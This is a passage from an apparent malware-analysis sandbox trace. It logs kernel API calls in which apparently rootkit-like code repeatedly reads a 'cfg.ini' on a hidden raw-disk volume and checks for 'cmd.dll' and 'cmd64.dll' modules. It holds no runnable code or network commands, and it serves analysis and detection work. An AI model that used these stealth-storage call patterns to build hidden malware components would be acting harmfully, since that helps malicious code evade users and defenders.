ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.612] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.612] IdePortDispatch () returned 0x103 [0123.612] KeWaitForMutexObject () returned 0x0 [0123.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] KeLeaveCriticalRegion () [0123.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.612] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.612] KeEnterCriticalRegion () [0123.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e0000 [0123.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.612] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.612] IdePortDispatch () returned 0x103 [0123.612] KeWaitForMutexObject () returned 0x0 [0123.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.613] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.613] IdePortDispatch () returned 0x103 [0123.613] KeWaitForMutexObject () returned 0x0 [0123.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.613] KeLeaveCriticalRegion () [0123.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.613] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.613] KeEnterCriticalRegion () [0123.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.613] KeLeaveCriticalRegion () [0123.613] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.614] KeEnterCriticalRegion () [0123.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.614] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.614] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec7e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.614] KeLeaveCriticalRegion () [0123.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.614] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.614] KeEnterCriticalRegion () [0123.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.614] ExFreePoolWithTag (P=0xfffffa8003bec720, Tag=0x0) [0123.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.614] KeLeaveCriticalRegion () [0123.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.614] ReleaseMutex (hMutex=0xf0) returned 1 [0123.614] Sleep (dwMilliseconds=0x124f80) [0123.629] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.629] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.629] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.629] KeEnterCriticalRegion () [0123.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.629] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.629] IdePortDispatch () returned 0x103 [0123.629] KeWaitForMutexObject () returned 0x0 [0123.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.629] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.629] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.629] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.629] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.629] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] KeLeaveCriticalRegion () [0123.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.629] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.629] KeEnterCriticalRegion () [0123.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.629] KeLeaveCriticalRegion () [0123.630] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.630] KeEnterCriticalRegion () [0123.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.630] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.630] IdePortDispatch () returned 0x103 [0123.630] KeWaitForMutexObject () returned 0x0 [0123.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.630] KeLeaveCriticalRegion () [0123.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.630] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.630] KeEnterCriticalRegion () [0123.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e5000 [0123.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.630] IdePortDispatch () returned 0x103 [0123.630] KeWaitForMutexObject () returned 0x0 [0123.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.630] IdePortDispatch () returned 0x103 [0123.631] KeWaitForMutexObject () returned 0x0 [0123.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] KeLeaveCriticalRegion () [0123.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.631] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.631] KeEnterCriticalRegion () [0123.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] KeLeaveCriticalRegion () [0123.631] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.631] KeEnterCriticalRegion () [0123.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.631] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] KeLeaveCriticalRegion () [0123.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.631] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.631] KeEnterCriticalRegion () [0123.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.631] KeLeaveCriticalRegion () [0123.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.632] ReleaseMutex (hMutex=0xf0) returned 1 [0123.632] Sleep (dwMilliseconds=0x124f80) [0123.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.645] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.645] KeEnterCriticalRegion () [0123.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.645] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.645] IdePortDispatch () returned 0x103 [0123.645] KeWaitForMutexObject () returned 0x0 [0123.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beccf0 [0123.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.645] KeLeaveCriticalRegion () [0123.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.645] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.645] KeEnterCriticalRegion () [0123.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.646] KeLeaveCriticalRegion () [0123.646] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.646] KeEnterCriticalRegion () [0123.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.646] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.646] IdePortDispatch () returned 0x103 [0123.646] KeWaitForMutexObject () returned 0x0 [0123.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.646] KeLeaveCriticalRegion () [0123.646] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.646] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.646] KeEnterCriticalRegion () [0123.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ea000 [0123.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.646] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.646] IdePortDispatch () returned 0x103 [0123.647] KeWaitForMutexObject () returned 0x0 [0123.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.647] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.647] IdePortDispatch () returned 0x103 [0123.647] KeWaitForMutexObject () returned 0x0 [0123.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.647] KeLeaveCriticalRegion () [0123.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.647] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.647] KeEnterCriticalRegion () [0123.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] KeLeaveCriticalRegion () [0123.648] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.648] KeEnterCriticalRegion () [0123.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.648] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] KeLeaveCriticalRegion () [0123.648] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.648] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.648] KeEnterCriticalRegion () [0123.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] ExFreePoolWithTag (P=0xfffffa8003beccf0, Tag=0x0) [0123.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.648] KeLeaveCriticalRegion () [0123.648] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.648] ReleaseMutex (hMutex=0xf0) returned 1 [0123.648] Sleep (dwMilliseconds=0x124f80) [0123.663] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.663] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.663] KeEnterCriticalRegion () [0123.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.663] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.663] IdePortDispatch () returned 0x103 [0123.663] KeWaitForMutexObject () returned 0x0 [0123.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.664] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.664] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.664] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] KeLeaveCriticalRegion () [0123.664] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.664] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.664] KeEnterCriticalRegion () [0123.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] KeLeaveCriticalRegion () [0123.664] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.664] KeEnterCriticalRegion () [0123.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.664] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.664] IdePortDispatch () returned 0x103 [0123.664] KeWaitForMutexObject () returned 0x0 [0123.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] KeLeaveCriticalRegion () [0123.664] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.664] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.664] KeEnterCriticalRegion () [0123.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ef000 [0123.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.664] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.664] IdePortDispatch () returned 0x103 [0123.664] KeWaitForMutexObject () returned 0x0 [0123.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.665] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.665] IdePortDispatch () returned 0x103 [0123.665] KeWaitForMutexObject () returned 0x0 [0123.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.665] KeLeaveCriticalRegion () [0123.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) 